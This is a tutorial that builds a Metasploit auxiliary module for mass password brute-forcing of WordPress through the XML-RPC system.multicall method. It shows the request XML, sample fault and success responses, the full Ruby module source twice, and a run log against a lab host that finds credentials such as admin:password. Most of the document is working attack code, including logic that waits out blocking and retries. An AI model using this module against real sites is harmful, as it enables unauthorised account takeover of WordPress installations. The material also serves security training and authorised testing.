Auxiliary module

Scanner

Basic Scanner modules

WordPress XML-RPC Massive Brute Force

WordPress CMS framework support XML-RPC service to interact with almost all functions in the framework. Some functions require authentication. The main issues lies in the you can authenticate many times within the same request. WordPress accepts about 1788 lines of XML request which allows us to send tremendous number of login tries in a single request. So how awesome is this? Let me explain.

Imagine that you have to brute force one user with 6000 passwords? How many requests you have to send in the normal brute force technique? It's 6000 requests. Using our module will need to 4 requests only of you use the default CHUNKSIZE which is 1500 password per request!!!. NO MULTI-THREADING even you use multi-threading in the traditional brute force technique you'll send 6000 request a few of its are parallel.

<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name><value><array><data>
<value><array><data>
<value><string>"USER #1"</string></value>
<value><string>"PASS #1"</string></value>
</data></array></value>
</data></array></value>
</member>
...Snippet...
<value><struct>
<member>
<name>methodName</name>
<value><string>wp.getUsersBlogs</string></value>
</member>
<member>
<name>params</name><value><array><data>
<value><array><data>
<value><string>"USER #1"</string></value>
<value><string>"PASS #N"</string></value>
</data></array></value>
</data></array></value>
</member>
</params>
</methodCall>

So from above you can understand how the XML request will be build. Now How the reply will be? To simplify this we'll test a single user once with wrong password another with correct password to understand the response behavior

wrong password response

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>faultCode</name>
<value>
<int>403</int>
</value>
</member>
<member>
<name>faultString</name>
<value>
<string>Incorrect username or password.</string>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>

We noticed the following

  • <name>faultCode</name>

  • <int>403</int>

  • <string>Incorrect username or password.</string>

Usually we rely one the string response 'Incorrect username or password.', but what if the WordPress language wasn't English? so the best thing is the integer response which is 403

correct password response

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<array>
<data>
<value>
<array>
<data>
<value>
<struct>
<member>
<name>isAdmin</name>
<value>
<boolean>1</boolean>
</value>
</member>
<member>
<name>url</name>
<value>
<string>http://172.17.0.3/</string>
</value>
</member>
<member>
<name>blogid</name>
<value>
<string>1</string>
</value>
</member>
<member>
<name>blogName</name>
<value>
<string>Docker wordpress</string>
</value>
</member>
<member>
<name>xmlrpc</name>
<value>
<string>http://172.17.0.3/xmlrpc.php</string>
</value>
</member>
</struct>
</value>
</data>
</array>
</value>
</data>
</array>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>

We noticed that long reply with the result of called method wp.getUsersBlogs

Awesome, right?

The tricky part is just begun! Since we will be sending thousands of passwords in one request and the reply will be rally huge XML files, how we'll find the position of the correct credentials? The answer is, by using the powerful ruby iteration methods, particularly each_with_index method.

Enough talking, show me the code!

What do we want?

  • Create Auxiliary module

  • Deal with Web Application

  • Deal with WordPress

  • Describe The module

  • Let people know we created this module

  • Add references about the vulnerability that we exploit

  • Options to set the target URI, port, user, pass list.

  • Read username and password lists as arrays

  • Build/Generate XML file takes a user and iterate around the passwords

  • Check if target is running WordPress

  • Check if target enabling RPC

  • Setup the HTTP with XML POST request

  • Parse XML request and response

  • Find the exact correct credentials

  • Check if we got blocked

  • Parsing the result and find which password is correct

  • Check if the module has been written correctly (msftidy.rb)

Steps

  • Create Auxiliary module

  • Deal with Web Application

  • Deal with WordPress

  • Describe The module

  • Let people know we created this module

  • Add references about the vulnerability that we exploit

  • Options to set the target URI, port, user, pass list.

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress XML-RPC Massive Brute Force',
'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
'License' => MSF_LICENSE,
'Author' =>
[
'Sabri (@KINGSABRI)', # Module Writer
'William (WCoppola@Lares.com)' # Module Requester
],
'References' =>
[
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
]
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
], self.class)
end
end
  • Read username and password lists as arrays

def usernames
File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
end
def passwords
File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
end
  • Build/Generate XML file takes a user and iterate around the passwords

#
# XML Factory
#
def generate_xml(user)
vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
xml_payloads = [] # Container for all generated XMLs
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end
vprint_status('Generating XMLs just done.')
xml_payloads
end
  • Check if target is running WordPress

  • Check if target enabling RPC

#
# Check target status
#
def check_wpstatus
print_status("Checking #{peer} status!")
if !wordpress_and_online?
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
nil
elsif !wordpress_xmlrpc_enabled?
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
nil
else
print_status("Target #{peer} is running WordPress")
true
end
end
  • Setup the HTTP with XML POST request

#
# Connection Setup
#
def send(xml)
uri = target_uri.path
opts =
{
'method' => 'POST',
'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
'data' => xml,
'ctype' =>'text/xml'
}
client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
print_error('It seems you got blocked!')
print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
sleep datastore['BLOCKEDWAIT'] * 60
end
@res = res
end
  • Parse XML request and response

  • Find the exact correct credentials

  • Check if we got blocked

  • Parsing the result and find which password is correct

def run
return if check_wpstatus.nil?
usernames.each do |user|
passfound = false
print_status("Brute forcing user: #{user}")
generate_xml(user).each do |xml|
next if passfound == true
send(xml)
# Request Parser
req_xml = Nokogiri::Slop xml
# Response Parser
res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
puts res_xml
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
# If response error code doesn't not exist, then it's the correct credentials!
if result.nil?
user = req_xml.search("data/value/array/data")[i].value[0].text.strip
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
print_good("Credentials Found! #{user}:#{pass}")
passfound = true
end
end
unless user == usernames.last
vprint_status('Sleeping for 2 seconds..')
sleep 2
end
end
end
end

Wrapping up

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress XML-RPC Massive Brute Force',
'Description' => %q{WordPress massive brute force attacks via WordPress XML-RPC service.},
'License' => MSF_LICENSE,
'Author' =>
[
'Sabri (@KINGSABRI)', # Module Writer
'William (WCoppola@Lares.com)' # Module Requester
],
'References' =>
[
['URL', 'https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/'],
['URL', 'https://blog.sucuri.net/2014/07/new-brute-force-attacks-exploiting-xmlrpc-in-wordpress.html']
]
))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptPath.new('WPUSER_FILE', [true, 'File containing usernames, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt") ]),
OptPath.new('WPPASS_FILE', [true, 'File containing passwords, one per line',
File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt")]),
OptInt.new('BLOCKEDWAIT', [true, 'Time(minutes) to wait if got blocked', 6]),
OptInt.new('CHUNKSIZE', [true, 'Number of passwords need to be sent per request. (1700 is the max)', 1500])
], self.class)
end
def usernames
File.readlines(datastore['WPUSER_FILE']).map {|user| user.chomp}
end
def passwords
File.readlines(datastore['WPPASS_FILE']).map {|pass| pass.chomp}
end
#
# XML Factory
#
def generate_xml(user)
vprint_warning('Generating XMLs may take a while depends on the list file(s) size.') if passwords.size > 1500
xml_payloads = [] # Container for all generated XMLs
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due WordPress limitation which is 1700 maximum.
passwords.each_slice(datastore['CHUNKSIZE']) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end
vprint_status('Generating XMLs just done.')
xml_payloads
end
#
# Check target status
#
def check_wpstatus
print_status("Checking #{peer} status!")
if !wordpress_and_online?
print_error("#{peer}:#{rport}#{target_uri} does not appear to be running WordPress or you got blocked! (Do Manual Check)")
nil
elsif !wordpress_xmlrpc_enabled?
print_error("#{peer}:#{rport}#{wordpress_url_xmlrpc} does not enable XML-RPC")
nil
else
print_status("Target #{peer} is running WordPress")
true
end
end
#
# Connection Setup
#
def send(xml)
uri = target_uri.path
opts =
{
'method' => 'POST',
'uri' => normalize_uri(uri, wordpress_url_xmlrpc),
'data' => xml,
'ctype' =>'text/xml'
}
client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
print_error('It seems you got blocked!')
print_warning("I'll sleep for #{datastore['BLOCKEDWAIT']} minutes, then I'll try again. CTR+C to exit")
sleep datastore['BLOCKEDWAIT'] * 60
end
@res = res
end
def run
return if check_wpstatus.nil?
usernames.each do |user|
passfound = false
print_status("Brute forcing user: #{user}")
generate_xml(user).each do |xml|
next if passfound == true
send(xml)
# Request Parser
req_xml = Nokogiri::Slop xml
# Response Parser
res_xml = Nokogiri::Slop @res.to_s.scan(/<.*>/).join
puts res_xml
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
# If response error code doesn't not exist
if result.nil?
user = req_xml.search("data/value/array/data")[i].value[0].text.strip
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
print_good("Credentials Found! #{user}:#{pass}")
passfound = true
end
end
unless user == usernames.last
vprint_status('Sleeping for 2 seconds..')
sleep 2
end
end end end
end
  • Check if the module has been written correctly (msftidy.rb)

metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb

Run it

msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > show options
Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):
Name Current Setting Required Description
---- --------------- -------- -----------
BLOCKEDWAIT 6 yes Time(minutes) to wait if got blocked
CHUNKSIZE 1500 yes Number of passwords need to be sent per request. (1700 is the max)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 172.17.0.3 yes The target address
RPORT 80 yes The target port
TARGETURI / yes The base path
VHOST no HTTP server virtual host
WPPASS_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt yes File containing passwords, one per line
WPUSER_FILE /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt yes File containing usernames, one per line
msf auxiliary(wordpress_xmlrpc_massive_bruteforce) > run
[*] Checking 172.17.0.3:80 status!
[*] Target 172.17.0.3:80 is running WordPress
[*] Brute forcing user: admin
[+] Credentials Found! admin:password
[*] Brute forcing user: manager
[*] Brute forcing user: root
[*] Brute forcing user: cisco
[*] Brute forcing user: apc
[*] Brute forcing user: pass
[*] Brute forcing user: security
[*] Brute forcing user: user
[*] Brute forcing user: system
[+] Credentials Found! system:root
[*] Brute forcing user: sys
[*] Brute forcing user: wampp
[*] Brute forcing user: newuser
[*] Brute forcing user: xampp-dav-unsecure
[*] Auxiliary module execution completed